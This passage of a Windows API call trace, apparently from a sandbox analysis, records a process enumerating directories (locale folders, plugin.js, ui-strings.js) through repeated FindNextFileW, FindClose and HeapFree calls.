	[0171.620] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e36, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0171.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.620] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0171.621] FindClose (in: hFindFile=0x394b778 | out: hFindFile=0x394b778) returned 1
	[0171.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.623] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-files", cAlternateFileName="")) returned 1
	[0171.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.628] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0171.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.672] FindNextFileW (in: hFindFile=0x394b838, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0171.673] FindClose (in: hFindFile=0x394b838 | out: hFindFile=0x394b838) returned 1
	[0171.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0171.673] FindNextFileW (in: hFindFile=0x394b7f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0171.673] FindClose (in: hFindFile=0x394b7f8 | out: hFindFile=0x394b7f8) returned 1
	[0171.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.674] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.687] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0171.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.688] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0171.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.689] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0171.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.690] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0171.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.690] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0171.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.691] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0171.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.693] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0171.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.694] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0171.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.695] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0171.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.696] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0171.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.698] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0171.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.699] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0171.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.701] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0171.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.701] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0171.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.702] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0171.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0171.703] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0171.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.704] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0171.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.705] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0171.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.706] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0171.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.707] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0171.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.707] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0171.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.708] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0171.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.829] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0171.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.830] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0171.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.830] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0171.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.830] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0171.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.830] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0171.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.830] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0171.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.831] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0171.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.831] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0171.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.831] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
